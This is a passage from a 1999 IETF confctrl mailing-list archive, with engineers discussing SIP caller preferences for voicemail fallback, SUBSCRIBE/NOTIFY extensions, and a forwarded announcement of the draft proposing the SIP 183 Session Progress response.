But you *do* want it go to voicemail, but only if a non-voicemail
contact definitely cannot be found.  This would seem to imply that the
UPT-proxy needs to be able to tell the difference between an "ordinary"
404 (Not Found) failure and one that's the result of an INVITE being
rejected because of constraining caller-prefs.  So maybe that really is
best done using a new error code?

-- 
Anders Kristensen <ak@hplb.hpl.hp.com>,
http://www-uk.hpl.hp.com/people/ak/
Hewlett-Packard Labs, Bristol, UK

From confctrl-owner  Wed Jun 23 06:29:12 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA27017
	for confctrl-outgoing; Wed, 23 Jun 1999 06:29:12 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA27012
	for <confctrl@zephyr.isi.edu>; Wed, 23 Jun 1999 06:29:10 -0700 (PDT)
Received: from gwu.ericy.com (gwu.ericy.com [208.196.3.162])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id GAA06714
	for <confctrl@ISI.EDU>; Wed, 23 Jun 1999 06:29:09 -0700 (PDT)
Received: from mr3.exu.ericsson.se (mr3u.ericy.com [208.238.116.100])
	by gwu.ericy.com (8.9.3/8.9.3) with ESMTP id IAA21258;
	Wed, 23 Jun 1999 08:28:39 -0500 (CDT)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr3.exu.ericsson.se (8.8.8/8.8.8) with ESMTP id IAA23781;
	Wed, 23 Jun 1999 08:27:12 -0500 (CDT)
Received: from b04a42.exu.ericsson.se (b04a42.exu.ericsson.se [138.85.60.142]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id IAA16488; Wed, 23 Jun 1999 08:23:55 -0500 (CDT)
From: Sean Olson <eussean@exu.ericsson.se>
Received: (from eussean@localhost)
	by b04a42.exu.ericsson.se (8.9.1/8.9.1) id IAA09161;
	Wed, 23 Jun 1999 08:22:35 -0500 (CDT)
Date: Wed, 23 Jun 1999 08:22:35 -0500 (CDT)
Message-Id: <199906231322.IAA09161@b04a42.exu.ericsson.se>
To: confctrl@ISI.EDU, pradeep@trillium.com
Subject: Re: SIP, voicemail, and UPT
X-Sun-Charset: US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> Hi,
> 	Proxies can start the search in parallel for all the possible locations
> 	of the user. Proxies can continue with the search for a finite time
> 	unless the highest priority location of the user has answered. The
> 	priority of the location could be registered with the server at the
> 	time of SIP registration. That way any services can be relatively
> 	priortised by the user. 
> 	
> 	In that case we will not require a special  "280 response code" 
> 	and 200 response code should suffice. 
> 
> regards,
> pradeep
> 

The problem with this approach is that the priorities you mention are set
by the callee and not the caller.

-----------------------------------------------------------------
Sean Olson            E-mail: sean.olson@ericsson.com
Ericsson Inc.         Voice: (972) 583-5472 
                      FAX: (972) 669-0154

From confctrl-owner  Wed Jun 23 06:54:06 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA28069
	for confctrl-outgoing; Wed, 23 Jun 1999 06:54:06 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA28064
	for <confctrl@zephyr.isi.edu>; Wed, 23 Jun 1999 06:54:04 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id GAA07408
	for <confctrl@isi.edu>; Wed, 23 Jun 1999 06:54:03 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Wed Jun 23 09:53:24 EDT 1999
Received: from dnrc.bell-labs.com (arrakis.dnrc.bell-labs.com [135.180.130.41])
	by nova.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id JAA29824;
	Wed, 23 Jun 1999 09:53:22 -0400 (EDT)
Message-ID: <3770E3AA.36DAC953@dnrc.bell-labs.com>
Date: Wed, 23 Jun 1999 09:39:54 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.04 [en] (WinNT; I)
MIME-Version: 1.0
To: Anders Kristensen <ak@hplb.hpl.hp.com>
CC: Henning Schulzrinne <hgs@cs.columbia.edu>,
        "Adam B. Roach" <Adam.Roach@Ericsson.com>, confctrl@ISI.EDU
Subject: Re: SIP, voicemail, and UPT
References: <199906221538.KAA15437@b04a24.exu.ericsson.se> <37701866.B8002358@cs.columbia.edu> <376FEC3F.640B0132@dnrc.bell-labs.com> <3770B84D.E6292376@hplb.hpl.hp.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Anders Kristensen wrote:
> 
> > As Henning has pointed out, this is supported readily in the calller
> > preferences draft. Specifically,  the INVITE would contain:
> >
> > Accept-Contact: *;feature=!voice-mail
> >
> > Locations with voicemail would register:
> >
> > REGISTER sip:host.com
> > Contact: sip:mrbig@company.com;feature=voicemail
> >
> > and the proxy would not forward the INVITE to these destinations.
> >
> 
> But you *do* want it go to voicemail, but only if a non-voicemail
> contact definitely cannot be found.  This would seem to imply that the
> UPT-proxy needs to be able to tell the difference between an "ordinary"
> 404 (Not Found) failure and one that's the result of an INVITE being
> rejected because of constraining caller-prefs.  So maybe that really is
> best done using a new error code?

I see. I'm not sure how a special error response code helps, though.
Lets say a proxy has three addresses it can forward to, one of which
says voicemail. It forwards to all three, and the voicemail UAC rejects
the the call since the caller preferences indicate no voicemail.
However, a rejection comes from the other two. The problem is that the
voicemail UAS has already rejected the call. I guess this rejection
could get propagated back to the UAC, and then it could try again
without the !voicemail attribute.

Another possibility is if the proxy first tried the non-voicemail
addresses, and then if both fail, tried the voicemail one. This can also
be supported in the current caller preferences framework:

Accept-Contact: *;feature=!voice-mail;q=0.8,
                *;feature=voice-mail;q=0.1
Request-Disposition: sequential

This basically tells the proxy to group the non-voicemail addresses
together, and try those first and then try the voice-mail ones. Of
course, what to do when the CPL for the callee says to do something
totally different is a very good question.

There is a limit to the expressiveness of the caller preferences, of
course. Its somewhere between the expressiveness of CPL and no
expressiveness at all. It was sufficient for this service, and (I
believe) is sufficient for many other useful services. 

-Jonathan R.
-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Wed Jun 23 08:17:15 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA01837
	for confctrl-outgoing; Wed, 23 Jun 1999 08:17:15 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA01832
	for <confctrl@zephyr.isi.edu>; Wed, 23 Jun 1999 08:17:14 -0700 (PDT)
Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210] (may be forged))
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA10943
	for <confctrl@isi.edu>; Wed, 23 Jun 1999 08:17:13 -0700 (PDT)
Received: from otter.hpl.hp.com (otter.hpl.hp.com [15.144.59.2])
	by atlrel1.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id LAA28593;
	Wed, 23 Jun 1999 11:16:45 -0400 (EDT)
Received: from hplb.hpl.hp.com (kristensen-a-4.hpl.hp.com [15.144.26.238])
	by otter.hpl.hp.com (8.9.3/HP-Labs Bristol Internal Mail Hub) with ESMTP id QAA24351;
	Wed, 23 Jun 1999 16:17:08 +0100 (BST)
Message-ID: <3770FA74.740CA23E@hplb.hpl.hp.com>
Date: Wed, 23 Jun 1999 16:17:08 +0100
From: Anders Kristensen <ak@hplb.hpl.hp.com>
Organization: HP Labs
X-Mailer: Mozilla 4.6 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
CC: Henning Schulzrinne <hgs@cs.columbia.edu>,
        "Adam B. Roach" <Adam.Roach@Ericsson.com>, confctrl@ISI.EDU
Subject: Re: SIP, voicemail, and UPT
References: <199906221538.KAA15437@b04a24.exu.ericsson.se> <37701866.B8002358@cs.columbia.edu> <376FEC3F.640B0132@dnrc.bell-labs.com> <3770B84D.E6292376@hplb.hpl.hp.com> <3770E3AA.36DAC953@dnrc.bell-labs.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Jonathan Rosenberg wrote:
> 
> Anders Kristensen wrote:
> >
> > > As Henning has pointed out, this is supported readily in the calller
> > > preferences draft. Specifically,  the INVITE would contain:
> > >
> > > Accept-Contact: *;feature=!voice-mail
> > >
> > > Locations with voicemail would register:
> > >
> > > REGISTER sip:host.com
> > > Contact: sip:mrbig@company.com;feature=voicemail
> > >
> > > and the proxy would not forward the INVITE to these destinations.
> > >
> >
> > But you *do* want it go to voicemail, but only if a non-voicemail
> > contact definitely cannot be found.  This would seem to imply that the
> > UPT-proxy needs to be able to tell the difference between an "ordinary"
> > 404 (Not Found) failure and one that's the result of an INVITE being
> > rejected because of constraining caller-prefs.  So maybe that really is
> > best done using a new error code?
> 
> I see. I'm not sure how a special error response code helps, though.
> Lets say a proxy has three addresses it can forward to, one of which
> says voicemail. It forwards to all three, and the voicemail UAC rejects
> the the call since the caller preferences indicate no voicemail.
> However, a rejection comes from the other two. The problem is that the
> voicemail UAS has already rejected the call. I guess this rejection
> could get propagated back to the UAC, and then it could try again
> without the !voicemail attribute.

Hmmm, yes. I was thinking the proxy could reissue the INVITE without the
!voicemail attribute but of course it can't. This would be handy for
operators as they could bill for the service :-)  You can't really bill
people for services performed by their own UA.

> 
> Another possibility is if the proxy first tried the non-voicemail
> addresses, and then if both fail, tried the voicemail one. This can also
> be supported in the current caller preferences framework:
> 
> Accept-Contact: *;feature=!voice-mail;q=0.8,
>                 *;feature=voice-mail;q=0.1
> Request-Disposition: sequential
> 
> This basically tells the proxy to group the non-voicemail addresses
> together, and try those first and then try the voice-mail ones. Of
> course, what to do when the CPL for the callee says to do something
> totally different is a very good question.

This can still fail, though, in the case where a downstream proxy (or
the UAS itself) knows about both a voicemail and a non-voicemail contact
address, e.g. if the caller invites alice@ieee.org and the ieee.org
proxy proxies to alice@example.com and 1234567@gateway.com in turn, and
the example.com proxy always succeeds with voicemail if nothing else
works. This means the ieee.com proxy never even attempts its alternative
addresses for alice@ieee.org (things don't quite work out when it's a
forking proxy either).

Anyway, this differs from Classic UPT in that the onus is on the callee
to do something special to provide the caller with the service. If you
wanted to be able to provide callees with a UPT service without
requiring clients to include the caller-prefs to support it you'd have
think of something else.  One idea might be for the caller-prefs to
originate from a UPT-enabled proxy. Obviously the proxy-caller-prefs
might interact adversely with the original caller-prefs, so the proxy
could attempt to do some sort of preferences rewrite that would make it
achieve it's purpose. This could probably get pretty hairy and could
maybe give some surprising results.

Anders

-- 
Anders Kristensen <ak@hplb.hpl.hp.com>,
http://www-uk.hpl.hp.com/people/ak/
Hewlett-Packard Labs, Bristol, UK

From confctrl-owner  Wed Jun 23 08:17:47 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA01862
	for confctrl-outgoing; Wed, 23 Jun 1999 08:17:47 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA01857
	for <confctrl@zephyr.isi.edu>; Wed, 23 Jun 1999 08:17:46 -0700 (PDT)
Received: from devonshire.cnchost.com (devonshire.concentric.net [207.155.248.12])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA10962
	for <confctrl@ISI.EDU>; Wed, 23 Jun 1999 08:17:45 -0700 (PDT)
Received: from [192.168.10.5] (ts007d45.cht-ma.concentric.net [206.173.20.105])
	by devonshire.cnchost.com (8.9.3/)
	id LAA13357; Wed, 23 Jun 1999 11:17:39 -0400 (EDT)
	[ConcentricHost SMTP Relay 1.5]
Date: Wed, 23 Jun 1999 11:18:27 -0400 (EDT)
From: Scott Petrack <scott.petrack@metatel.com>
To: "Adam B. Roach" <Adam.Roach@Ericsson.com>
cc: confctrl@ISI.EDU, pint@lists.research.bell-labs.com
Subject: Re: SUBSCRIBE/NOTIFY
In-Reply-To: <199906221842.NAA16470@b04a24.exu.ericsson.se>
Message-ID: <Pine.LNX.4.10.9906231110520.928-100000@petrack.metatel.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Yes, there is specification of it in the PINT draft
<draft-ietf-pint-profile-05.txt>, to be used by a PINT client to get
notifications about the changing state of a PSTN phone call. 

Scott


On Tue, 22 Jun 1999, Adam B. Roach wrote:

> 
> Is there any ongoing work to extend the S U B S C R I B E/NOTIFY mechanism
> for anything beyond presence?
> 
> There have been numerous discussions over the past several months
> about the use of these methods for requesting DTMF information and
> other call-trigger type events, but I believe the desired balance of
> complexity with flexability hasn't been determined yet.
> 
> If anyone intends to submit a draft relating to these issues
> in time for the Oslo meeting, I'd appreciate knowing. Thanks.
> 
> P.S. I've tried posting on this topic several times over the past
>      week, and have come to beleive that the mailer at isi.edu has
>      been programmed to silently drop messages with the word
>      "S U B S C R I B E" in them (hence the spaces).
> 
> -- 
> Adam Roach, Ericsson Inc. |  Ph: +1 972 583 7594 | 1010 E. Arapaho, MS L-04
> adam.roach@ericsson.com   | Fax: +1 972 669 0154 | Richardson, TX 75081 USA
> 


From confctrl-owner  Wed Jun 23 08:46:12 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA03651
	for confctrl-outgoing; Wed, 23 Jun 1999 08:46:12 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA03645
	for <confctrl@zephyr.isi.edu>; Wed, 23 Jun 1999 08:46:11 -0700 (PDT)
Received: from omzrelay02.mcit.com (beta.mcit.com [199.249.19.244])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA12815
	for <confctrl@ISI.EDU>; Wed, 23 Jun 1999 08:46:10 -0700 (PDT)
Received: from CONVERSION-DAEMON by firewall.mcit.com (PMDF V5.2-32 #38417)
 id <0FDS00M01EBTZC@firewall.mcit.com> for confctrl@ISI.EDU; Wed,
 23 Jun 1999 15:43:07 +0000 (GMT)
Received: from ndcrelay.mcit.com ([166.37.172.49])
 by firewall.mcit.com (PMDF V5.2-32 #38417)
 with ESMTP id <0FDS00MP3EA6BA@firewall.mcit.com> for confctrl@ISI.EDU; Wed,
 23 Jun 1999 15:42:08 +0000 (GMT)
Received: from omzexch007.mcit.com (omzexch007.mcit.com [166.37.194.38])
 by ndcrelay.mcit.com (8.8.7/) with ESMTP	id PAA06534 for <confctrl@ISI.EDU>;
 Wed, 23 Jun 1999 15:41:26 +0000 (GMT)
Received: by omzexch007.mcit.com with Internet Mail Service (5.5.2571.0)
 id <MZK27S2G>; Wed, 23 Jun 1999 15:42:03 +0000
Content-return: allowed
Date: Wed, 23 Jun 1999 15:42:01 +0000
From: "Donovan, Steven R." <Steven.R.Donovan@wcom.com>
Subject: FW: I-D ACTION:draft-donovan-mmusic-183-00.txt
To: confctrl@ISI.EDU
Message-id: <93496446F5EDD211A8C100805FEAD74901C24D@nsrip00207.mcit.com>
MIME-version: 1.0
X-Mailer: Internet Mail Service (5.5.2571.0)
Content-type: MULTIPART/MIXED; BOUNDARY="Boundary_(ID_ceEhy+1fXsIpXftn7/AYmQ)"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

--Boundary_(ID_ceEhy+1fXsIpXftn7/AYmQ)
Content-type: MULTIPART/ALTERNATIVE;
 BOUNDARY="Boundary_(ID_RjFub2oGvI8HY2kZzyZ1MQ)"


--Boundary_(ID_RjFub2oGvI8HY2kZzyZ1MQ)
Content-type: text/plain; charset="iso-8859-1"

An Internet Draft has been submitted which proposes the addition of the 183
Session Progress response message to the SIP protocol.

The abstract and a pointer to the draft is included in the attached message.

Regards,

Steve

-----Original Message-----
From: Internet-Drafts@odin.ietf.org
[mailto:Internet-Drafts@odin.ietf.org] 
Sent: Wednesday, June 23, 1999 8:54 AM
Subject: I-D ACTION:draft-donovan-mmusic-183-00.txt


A New Internet-Draft is available from the on-line Internet-Drafts
directories.


	Title		: SIP 183 Session Progress Message
	Author(s)	: S. Donovan, J. Hearty,  M. Cannon, H. Schulzrinne,

 	                  J. Rosenberg 
        Filename	: draft-donovan-mmusic-183-00.txt
	Pages		: 17
	Date		: 22-Jun-99
	
This document describes a proposed extension of the Session Initia-
tion Protocol.  This extension would add the 183 Session Progress
response message.

The introduction of the 183 informational response message would
allow a called user agent to indicate to the calling user agent
whether or not the calling user agent should apply local alerting for
the session.  The existing 180 Ringing message would indicate that
the calling user agent has the option of providing local alerting
(and generally should).  The 183 Session Progress message would indi-
cate that the calling user agent should not provide local alerting
and should establish a media session to be used by the called user
agent to indicate the status of the session setup request as part of
the indicated media stream.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-donovan-mmusic-183-00.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-donovan-mmusic-183-00.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-donovan-mmusic-183-00.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.


--Boundary_(ID_RjFub2oGvI8HY2kZzyZ1MQ)
Content-type: text/html; charset="iso-8859-1"
Content-transfer-encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2569.0">
<TITLE>FW: I-D ACTION:draft-donovan-mmusic-183-00.txt</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>An Internet Draft has been submitted which proposes =
the addition of the 183 Session Progress response message to the SIP =
protocol.</FONT></P>

<P><FONT SIZE=3D2>The abstract and a pointer to the draft is included =
in the attached message.</FONT>
</P>

<P><FONT SIZE=3D2>Regards,</FONT>
</P>

<P><FONT SIZE=3D2>Steve</FONT>
</P>

<P><FONT SIZE=3D2>-----Original Message-----</FONT>
<BR><FONT SIZE=3D2>From: Internet-Drafts@odin.ietf.org</FONT>
<BR><FONT SIZE=3D2>[<A =
HREF=3D"mailto:Internet-Drafts@odin.ietf.org">mailto:Internet-Drafts@odi=
n.ietf.org</A>] </FONT>
<BR><FONT SIZE=3D2>Sent: Wednesday, June 23, 1999 8:54 AM</FONT>
<BR><FONT SIZE=3D2>Subject: I-D =
ACTION:draft-donovan-mmusic-183-00.txt</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>A New Internet-Draft is available from the on-line =
Internet-Drafts directories.</FONT>
</P>
<BR>

<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT =
SIZE=3D2>Title&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; : =
SIP 183 Session Progress Message</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT =
SIZE=3D2>Author(s)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; : S. Donovan, J. =
Hearty,&nbsp; M. Cannon, H. Schulzrinne, </FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; J. Rosenberg </FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
Filename&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; : =
draft-donovan-mmusic-183-00.txt</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT =
SIZE=3D2>Pages&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; : =
17</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT =
SIZE=3D2>Date&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; : 22-Jun-99</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
<BR><FONT SIZE=3D2>This document describes a proposed extension of the =
Session Initia-</FONT>
<BR><FONT SIZE=3D2>tion Protocol.&nbsp; This extension would add the =
183 Session Progress</FONT>
<BR><FONT SIZE=3D2>response message.</FONT>
</P>

<P><FONT SIZE=3D2>The introduction of the 183 informational response =
message would</FONT>
<BR><FONT SIZE=3D2>allow a called user agent to indicate to the calling =
user agent</FONT>
<BR><FONT SIZE=3D2>whether or not the calling user agent should apply =
local alerting for</FONT>
<BR><FONT SIZE=3D2>the session.&nbsp; The existing 180 Ringing message =
would indicate that</FONT>
<BR><FONT SIZE=3D2>the calling user agent has the option of providing =
local alerting</FONT>
<BR><FONT SIZE=3D2>(and generally should).&nbsp; The 183 Session =
Progress message would indi-</FONT>
<BR><FONT SIZE=3D2>cate that the calling user agent should not provide =
local alerting</FONT>
<BR><FONT SIZE=3D2>and should establish a media session to be used by =
the called user</FONT>
<BR><FONT SIZE=3D2>agent to indicate the status of the session setup =
request as part of</FONT>
<BR><FONT SIZE=3D2>the indicated media stream.</FONT>
</P>

<P><FONT SIZE=3D2>A URL for this Internet-Draft is:</FONT>
<BR><FONT SIZE=3D2><A =
HREF=3D"http://www.ietf.org/internet-drafts/draft-donovan-mmusic-183-00.=
txt" =
TARGET=3D"_blank">http://www.ietf.org/internet-drafts/draft-donovan-mmus=
ic-183-00.txt</A></FONT>
</P>

<P><FONT SIZE=3D2>Internet-Drafts are also available by anonymous FTP. =
Login with the username</FONT>
<BR><FONT SIZE=3D2>&quot;anonymous&quot; and a password of your e-mail =
address. After logging in,</FONT>
<BR><FONT SIZE=3D2>type &quot;cd internet-drafts&quot; and then</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2>&quot;get =
draft-donovan-mmusic-183-00.txt&quot;.</FONT>
</P>

<P><FONT SIZE=3D2>A list of Internet-Drafts directories can be found =
in</FONT>
<BR><FONT SIZE=3D2><A HREF=3D"http://www.ietf.org/shadow.html" =
TARGET=3D"_blank">http://www.ietf.org/shadow.html</A> </FONT>
<BR><FONT SIZE=3D2>or <A =
HREF=3D"ftp://ftp.ietf.org/ietf/1shadow-sites.txt" =
TARGET=3D"_blank">ftp://ftp.ietf.org/ietf/1shadow-sites.txt</A></FONT>
</P>
<BR>

<P><FONT SIZE=3D2>Internet-Drafts can also be obtained by =
e-mail.</FONT>
</P>

<P><FONT SIZE=3D2>Send a message to:</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT =
SIZE=3D2>mailserv@ietf.org.</FONT>
<BR><FONT SIZE=3D2>In the body type:</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT =
SIZE=3D2>&quot;FILE =
/internet-drafts/draft-donovan-mmusic-183-00.txt&quot;.</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
<BR><FONT SIZE=3D2>NOTE:&nbsp;&nbsp; The mail server at ietf.org can =
return the document in</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT =
SIZE=3D2>MIME-encoded form by using the &quot;mpack&quot; =
utility.&nbsp; To use this</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2>feature, =
insert the command &quot;ENCODING mime&quot; before the =
&quot;FILE&quot;</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT =
SIZE=3D2>command.&nbsp; To decode the response(s), you will need =
&quot;munpack&quot; or</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2>a =
MIME-compliant mail reader.&nbsp; Different MIME-compliant mail =
readers</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2>exhibit =
different behavior, especially when dealing with</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT =
SIZE=3D2>&quot;multipart&quot; MIME messages (i.e. documents which have =
been split</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2>up into =
multiple messages), so check your local documentation on</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2>how to =
manipulate these messages.</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
<BR><FONT SIZE=3D2>Below is the data which will enable a MIME compliant =
mail reader</FONT>
<BR><FONT SIZE=3D2>implementation to automatically retrieve the ASCII =
version of the</FONT>
<BR><FONT SIZE=3D2>Internet-Draft.</FONT>
</P>

<P><FONT FACE=3D"Arial" SIZE=3D2 COLOR=3D"#000000"></FONT>&nbsp;

</BODY>
</HTML>

--Boundary_(ID_RjFub2oGvI8HY2kZzyZ1MQ)--

--Boundary_(ID_ceEhy+1fXsIpXftn7/AYmQ)
Content-type: MESSAGE/RFC822

Date: Wed, 23 Jun 1999 15:42:03 -0000
Subject:
To:
MIME-version: 1.0
X-Mailer: Internet Mail Service (5.5.2571.0)
Content-type: MULTIPART/MIXED; BOUNDARY="Boundary_(ID_O27XtZjCCjN5zdN8RT+HZQ)"


--Boundary_(ID_O27XtZjCCjN5zdN8RT+HZQ)
Content-type: MULTIPART/ALTERNATIVE;
 BOUNDARY="Boundary_(ID_BoqgLG6luWmTvrY5TuMDig)"


--Boundary_(ID_BoqgLG6luWmTvrY5TuMDig)
Content-type: text/plain



--Boundary_(ID_BoqgLG6luWmTvrY5TuMDig)
Content-type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=us-ascii">
<META NAME="Generator" CONTENT="MS Exchange Server version 5.5.2569.0">
<TITLE></TITLE>
</HEAD>
<BODY>

<P><FONT FACE="Arial" SIZE=2 COLOR="#000000"></FONT><FONT FACE="Arial" SIZE=2 COLOR="#000000"></FONT>&nbsp;

</BODY>
</HTML>

--Boundary_(ID_BoqgLG6luWmTvrY5TuMDig)--

--Boundary_(ID_O27XtZjCCjN5zdN8RT+HZQ)
Content-type: application/octet-stream; name="ATT14205"
Content-disposition: attachment; filename="ATT14205"

Content-type: message/external-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<19990622132149.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-donovan-mmusic-183-00.txt

--Boundary_(ID_O27XtZjCCjN5zdN8RT+HZQ)
Content-type: message/external-body; site="internet-drafts";
 dir="draft-donovan-mmusic-183-00.txt"; mode="ftp.ietf.org";
 access-type="anon-ftp"


--Boundary_(ID_O27XtZjCCjN5zdN8RT+HZQ)--

--Boundary_(ID_ceEhy+1fXsIpXftn7/AYmQ)--

From confctrl-owner  Wed Jun 23 10:11:26 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA09345
	for confctrl-outgoing; Wed, 23 Jun 1999 10:11:26 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA09339
